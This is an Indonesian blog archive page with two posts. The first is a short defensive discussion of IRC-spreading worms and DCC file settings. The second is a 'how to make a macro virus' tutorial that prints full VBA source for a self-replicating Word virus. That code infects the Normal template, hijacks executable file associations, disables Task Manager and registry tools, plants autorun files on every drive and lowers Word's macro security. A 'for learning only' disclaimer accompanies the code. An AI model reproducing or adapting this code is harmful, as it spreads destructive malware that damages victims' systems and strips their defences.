toxic: January 2009

K lo membicarakan tentang virus pasti kita juga akan membicarakan internet, Mengapa? Karena kebanyakan virus yang telah beradaptasi dengan dunia menggunakan internet sebagai media penyebarannya, tidak hanya menggunakan media penyebaran floppy atau flashdisk seperti yang telah dilakukan pada virus-virus lokal kebanyakan.

Banyak virus yang menyebarkan dirinya lewat internet misalnya: W32/Emmareg.A yang mecoba menyebar melalui email dengan mengirimkan [reply] semua email yang ada di INBOX dengan menyertakan attachment NOVA.SCR. W32/VBWorm.MLG yang memalsukan diri sebagai PCMAV antivirus RC9 meminta kita untuk percaya dan mendownload virus tersebut. W32/Viking.GU yang mengakibatkan traffic jaringan menjadi padat hal ini dikarenakan Viking mencoba untuk melakukan ping request dengan melakukan scan terhadap semua IP yang terdapat dalam subnet lokal yang ada di dalam jaringan tersebut hal ini ditambah lagi dengan aksi lainnya dengan mencoba untuk mengkopikan dirinya ke komputer target serta menginfeksi file yang mempunyai ekstensi EXE.

Baru-baru ini saja ada virus Anjelina Jolie(W32/Agent.GPKB) yang mengirimkan e-mail berisi tawaran untuk memperoleh video syur FREE alias Gratis dengan embel-embel seakan-akan email tersebut merupakan Fitur dari Microsoft MSN. Lalu versi ke 2 dari virus Anjelina Jolie ini yaitu Anjelina Jolie II (W32/ DLoader.ITOA ) yang akan memalsukan isi berita dari CNN dan MSNBC . Virus ini dikategorikan sebagai Spyware dan mempunyai ciri-ciri yang tidak jauh dengan pendahulunya (Agent.GPKB), virus ini juga akan men- download sebuah program lain sama seperti pendahulunya yakni antivirus XP 2008 yang secara otomatis akan langsung di install di komputer korban . Anjelina Jolie II ini menyebarkan email dari Daily Top 10 dengan subject CNN.comDaily Top 10, harap berhati-hati apalagi jika diminta untuk download sebuah file dengan nama get_flash_update.exe pada saat anda klik salah satu berita dalam bentuk vidoe yang di sertakan pada email tersebut .

Saat saya lagi main-main ke warnet untuk mencari suasana sambil memandangi kecantikan penjaga warnetnya ternyata saya pulang dengan membawa oleh-oleh sebuah file.vbs yang berisi kode-kode untuk menggandakan diri dan menyebarkan dirinya melalui internet koding penyebaran internetnya dapat dilihat pada gambar berikut:

Dari kode diatas dapat saya tarik kesimpulan bahwa virus ini akan membuat suatu file bernama script.ini yang berfungsi memasuki channel yang telah diketahui dan mengirimkan nick berupa nama dari virus tersebut. Kode tersebut sangat terlihat bahwa virus ini menyebarkan diri lewat internet (khusunya IRC).

Mengapa memilih IRC sebagai media penyebarannya? Karena IRC memiliki kelebihan penulisan perintah-perintah DCC. File tersebut di set secara automatic sehingga virus tersebut dapat diantar melalui DCC. 

IRC mempunyai sistem untuk menerima atau menolak file yaitu dengan menuliskan perintah /dccallow +nama pengantar, yang akan membenarkan anda menerima file itu. Oleh karena penyebaran virus tiap- tiap hari di DALnet, DALnet mempunyai satu fungsi yang membatas penghantaran DCC bagi fail dengan koneksi ("js", "pl","exe", "com", "bat", "dll", "ini", "vbs", "pif", "mrc", "scr", "doc", "xls", "lnk", "shs", "htm", "html"). Untuk mendapatkan file tersebut, Unit Kod DALnet telah menambahkan perintah DCCallow. Perintah DCCallow ,yaitu dengan menuliskan 

Syntax: /quote dccallow +/-nickname,Informasi: +/-nama_samaran mesti dinyatakan untuk anda menyatakan siapa yang anda izinkan menghantar DCC kepada anda. Jadi anda dapat menentukan sendiri orang-orang yang anda percaya dalam mengirimkan file. 

Jika anda menggunakan IRC, Kerap kali anda akan mengalami masalah pengguna IRC yang mencoba menghantar file virus dan trojan. File- file tersebut misalnya Movie.avi.pif, Links.vbs dll. Ada juga file berupa 'backdoors'.Jika file tersebut dipanggil, ia bisa memberi laluan tanpa izin kepada pengguna yang tidak bertanggung jawab untuk meng-exploit dan dan merusak komputer anda.

Anda hanya bisa mengatasi masalah ini dengan menetapkan opsyen DCC anda kepada 'ignore'. 

Dengan melihat file mirc.ini yang berisi daftar file yang diterima(lolos) ataupun yang ditolak(tidak diloloskan) seorang virus_maker(vm) yang biasa mencari celah-celah keamanan pun dapat membuat duplikat dari file ini dengan menambah daftar file yang diterima(lolos) dengan ekstensi-ekstensi virus buatannya misal dalam daftar accept ditambah dengan*.exe,*.vbs

Sehingga serangan dari virus_maker akan berjalan jauh lebih lancar dengan dibukanya celah tersebut

Dan saran dari ku buat penguna IRC,Jangan terima fail DCC dari orang yang tidak anda kenal,karna orang yang tidak anda kenal, atau tidak anda percaya tersebut bisa saja memberikan file berisi virus atau trojan.

Seperti tidak mau kalah rieysha juga membuat virus yang berjalan di IRC virus ini di buat dengan delphi.

Intinya sama dengan virus .vbs diawal yaitu virus akan membuat suatu file bernama script.ini yang berfungsi memasuki channel yang telah diketahui dan mengirimkan nick berupa nama dari virus tersebut dan menjalankan file virus tersebut (perintah run) 

Sekali lagi saya ingatkan virus hanyalah program biasa bikinan manusia biasa, dengan selalu berhati-hati dan melakukan pencegahan-pencegahan anda yang jauh lebih pintar pasti tidak akan gentar menghadapinya hehehehe…

TOP

Tehnik Membuat Virus Macro

(Baca: ilmu dalam tutorial ini untuk pembelajaran bukan untuk disalahgunakan)

Ini adalah tutorial saya yang kesekian kalinya dan mudah-mudahan tutorial kali ini bermanfaat untuk kalian.

Kali ini saya akan membahas mengenai virus macro... (para virus maker diharap untuk tenang dulu!).

Pasti banyak bertanya kenapa kali ini Morphic membahas tentang cara membuat virus? Biasanya kan Morphic lebih sering membahas analisis virus atau antivirusnya itu….

Yah kali ini memang agak berbeda. Selain untuk mencari suasana baru, aku juga agak tertantang dengan artikel yang saya buat ini.

Sebelum aku membuat artikel ini, aku sengaja mencari-cari kelemahan dari antivirusku sendiri (baca:Morphost). Ternyata aku lebih tertarik untuk membuat virus macro untuk mencari celah antivirusku itu. Untuk membuat artikel ini memang butuh pengorbanan juga. Soalnya komputerku jadi terinfeksi oleh virusku sendiri. Haaahhh…..

Virus macro merupakan virus yang dibuat dalam bahasa pemrograman visual basic macro di Microsoft Office. Kita ambil contoh, virus macro Word.

CARA MEMBUAT VIRUS MACRO

Buka Ms.Word (hanya contoh)

buka tools > Macro> Visual Basic Editor

Akan muncul gambar di bawah

Lalu kita ketikkan source virus nya pada kotak putih diatas dan akan tampak gambar seperti dibawah ini.

Sekarang muncul pertanyaan! Source yang bagaimana yang harus diketik???

Tenang, aku dah siapkan kok sourcenya. Makan neh source code!

'This is my code's virus

'Fuck Gates. Your software has small weakness. Watch it!

'

'Macro Viruses

'[Macroid]

'Hanya untuk pembelajaran

Private Sub Document_Close()

Dim AD, NT As Object

Dim isi As String

Set AD = ActiveDocument.VBProject.VBComponents.Item(1)

Set NT = NormalTemplate.VBProject.VBComponents.Item(1)

If AD.Name <> "Macroid" Then

AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines

AD.Name = "Macroid"

isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)

AD.CodeModule.AddFromString isi

ActiveDocument.Save

End If

If NT.Name <> "Macroid" Then

NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines

NT.Name = "Macroid"

isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)

NT.CodeModule.AddFromString isi

NormalTemplate.Save

End If

If InStr(ActiveDocument.Content, "Macroid") = 0 Then

ActiveDocument.Content = "[Macroid]" & vbCrLf & ActiveDocument.Content & vbCrLf & vbCrLf & vbCrLf & "[Macroid] by Morphic" & vbCrLf & "copyright(c) Medan Juli-2008"

End If

On Error Resume Next

Dim b As Object

Set b = CreateObject("Wscript.Shell")

b.regwrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title", "Browser Internet ini diambil alih oleh Macroid"

b.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption", "Macroid"

b.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization", "Macroid"

b.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner", "VM-Morphic"

b.regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText", "Macroid-A. Eat this!!! Ha ha ha"

b.regwrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden", "2"

b.regwrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1"

b.regwrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1"

b.regwrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1"

b.regwrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1"

b.regwrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1"

b.regwrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", "1"

b.regwrite "HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\", "Tong Sampah Macroid"

b.regwrite "HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\", "Komputer Morphic"

b.regwrite "HKLM\SOFTWARE\Classes\exefile\shell\open\command\", "Winword.exe " & Environ$("windir") & "\Macroid.doc"

b.regwrite "HKLM\SOFTWARE\Classes\comfile\shell\open\command\", "Winword.exe " & Environ$("windir") & "\Macroid.doc"

b.regwrite "HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\", "Winword.exe " & Environ$("windir") & "\Macroid.doc"

b.regwrite "HKLM\SOFTWARE\Classes\txtfile\shell\open\command\", "Winword.exe " & Environ$("windir") & "\Macroid.doc"

b.regwrite "HKLM\SOFTWARE\Classes\scrfile\shell\open\command\", "Winword.exe " & Environ$("windir") & "\Macroid.doc"

b.regwrite "HKLM\SOFTWARE\Classes\batfile\shell\open\command\", "Winword.exe " & Environ$("windir") & "\Macroid.doc"

b.regwrite "HKLM\SOFTWARE\Classes\Folder\shell\", "0pen"

b.regwrite "HKLM\SOFTWARE\Classes\Folder\shellpen\", "&Open"

b.regwrite "HKLM\SOFTWARE\Classes\Folder\shellpen\command\", "wscript.exe " & Environ$("windir") & "\avmc.vbs"

b.regwrite "HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\", "Winword.exe " & Environ$("windir") & "\Macroid.doc"

On Error Resume Next

Dim rog As Integer

Dim atr, vbs, Tipu(10), Trik(10) As String

For a = 66 To 90

partisi = Chr$(a)

vbs = partisi & ":\auto.vbs"

atr = partisi & ":\autorun.inf"

Tipu(1) = partisi & ":\Soal SPMB 1995-2008.doc"

Tipu(2) = partisi & ":\Kisah di balik HarryPotter.doc"

Tipu(3) = partisi & ":\Titip File sebentar.doc"

Tipu(4) = partisi & ":\jangan di baca.doc"

Tipu(5) = partisi & ":\buku harian.doc"

Tipu(6) = partisi & ":\cerita hangat.doc"

Tipu(7) = partisi & ":\Punya Baim.doc"

Tipu(8) = partisi & ":\Teka-teki yang baru.doc"

Tipu(9) = partisi & ":\Kumpulan cerita lucu.doc"

Tipu(10) = partisi & ":\Trik Sulap.doc"

If Dir(Tipu(1)) = "" And Dir(Tipu(2)) = "" And Dir(Tipu(3)) = "" And Dir(Tipu(4)) = "" And Dir(Tipu(5)) = "" And Dir(Tipu(6)) = "" And Dir(Tipu(7)) = "" And Dir(Tipu(8)) = "" And Dir(Tipu(9)) = "" And Dir(Tipu(10)) = "" Then

Randomize

rog = Int(10 * Rnd) + 1

Open Tipu(rog) For Output As #1

Print #1, ""

Close #1

End If

Trik(1) = partisi & ":\Novel J.K.Rowling.doc"

Trik(2) = partisi & ":\cerita cinta.doc"

Trik(3) = partisi & ":\Ringkasan cerita HarryPotter.doc"

Trik(4) = partisi & ":\Semua Cheat game DOTA.doc"

Trik(5) = partisi & ":\Kumpulan Cheat game.doc"

Trik(6) = partisi & ":\Cheat game RF.doc"

Trik(7) = partisi & ":\Cheat game Ayo Dance.doc"

Trik(8) = partisi & ":\Goosebumps.doc"

Trik(9) = partisi & ":\FearStreet.doc"

Trik(10) = partisi & ":\R.L.Stine.doc"

If Dir(Trik(1)) = "" And Dir(Trik(2)) = "" And Dir(Trik(3)) = "" And Dir(Trik(4)) = "" And Dir(Trik(5)) = "" And Dir(Trik(6)) = "" And Dir(Trik(7)) = "" And Dir(Trik(8)) = "" And Dir(Trik(9)) = "" And Dir(Trik(10)) = "" Then

Randomize

rogi = Int(10 * Rnd) + 1

Open Trik(rogi) For Output As #1

Print #1, ""

Close #1

End If

Open atr For Output As #1

Print #1, "[Autorun]"

Print #1, "shell\Open\command=wscript.exe auto.vbs"

Close #1

SetAttr atr, vbHidden + vbSystem

Open vbs For Output As #1

Print #1, "dim a"

Print #1, "set a = createobject(" & Chr(34) & "Wscript.shell" & Chr(34) & ")"

Print #1, "a.regwrite " & Chr(34) & "HKCU\Software\Microsoft\Office\10.0\Word\Security\Level" & Chr(34) & "," & Chr(34) & "1" & Chr(34) & "," & Chr(34) & "REG_DWORD" & Chr(34)

Print #1, "a.regwrite " & Chr(34) & "HKCU\Software\Microsoft\Office\11.0\Word\Security\Level" & Chr(34) & "," & Chr(34) & "1" & Chr(34) & "," & Chr(34) & "REG_DWORD" & Chr(34)

Print #1, "a.regwrite " & Chr(34) & "HKCU\Software\Microsoft\Office\12.0\Word\Security\Level" & Chr(34) & "," & Chr(34) & "1" & Chr(34) & "," & Chr(34) & "REG_DWORD" & Chr(34)

Close #1

SetAttr vbs, vbHidden + vbSystem

Next a

If Dir(Environ$("windir") & "\Macroid.doc") = "" Then

Dim isicrita As String

isicrita = "[Macroid] by Adnan" & vbCrLf & "Copyright(c) Sinjai Juli-2009" & vbCrLf & vbCrLf & _

Chr(34) & "Ms.Word is a thing that can be used as a power to break everything.... " & Chr(34) & vbCrLf & "(Morphic)"

Open Environ$("windir") & "\Macroid.doc" For Output As #1

Print #1, isicrita

Close #1

End If

If Dir(Environ$("windir") & "\avmc.vbs") = "" Then

Open Environ$("windir") & "\avmc.vbs" For Output As #1

Print #1, "set fs = createobject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & ")"

Print #1, "for each FD in fs.drives"

Print #1, "if (FD.Drivetype = 1) and FD.Path <> " & Chr(34) & "A:" & Chr(34) & " then"

Print #1, "set tf = fs.CreateTextFile(FD.Path" & Chr(38) & Chr(34) & "\Jangan di baca.doc" & Chr(34) & ")"

Print #1, "end if"

Print #1, "Next"

Close #1

End If

ActiveDocument.Save

NormalTemplate.Save

End Sub

Private Sub Document_Open()

CommandBars("Tools").Controls("Macro").Visible = False

CommandBars("Tools").Controls("Macro").Enabled = False

CommandBars("Tools").Controls("Customize...").Visible = False

CommandBars("Tools").Controls("Options...").Visible = False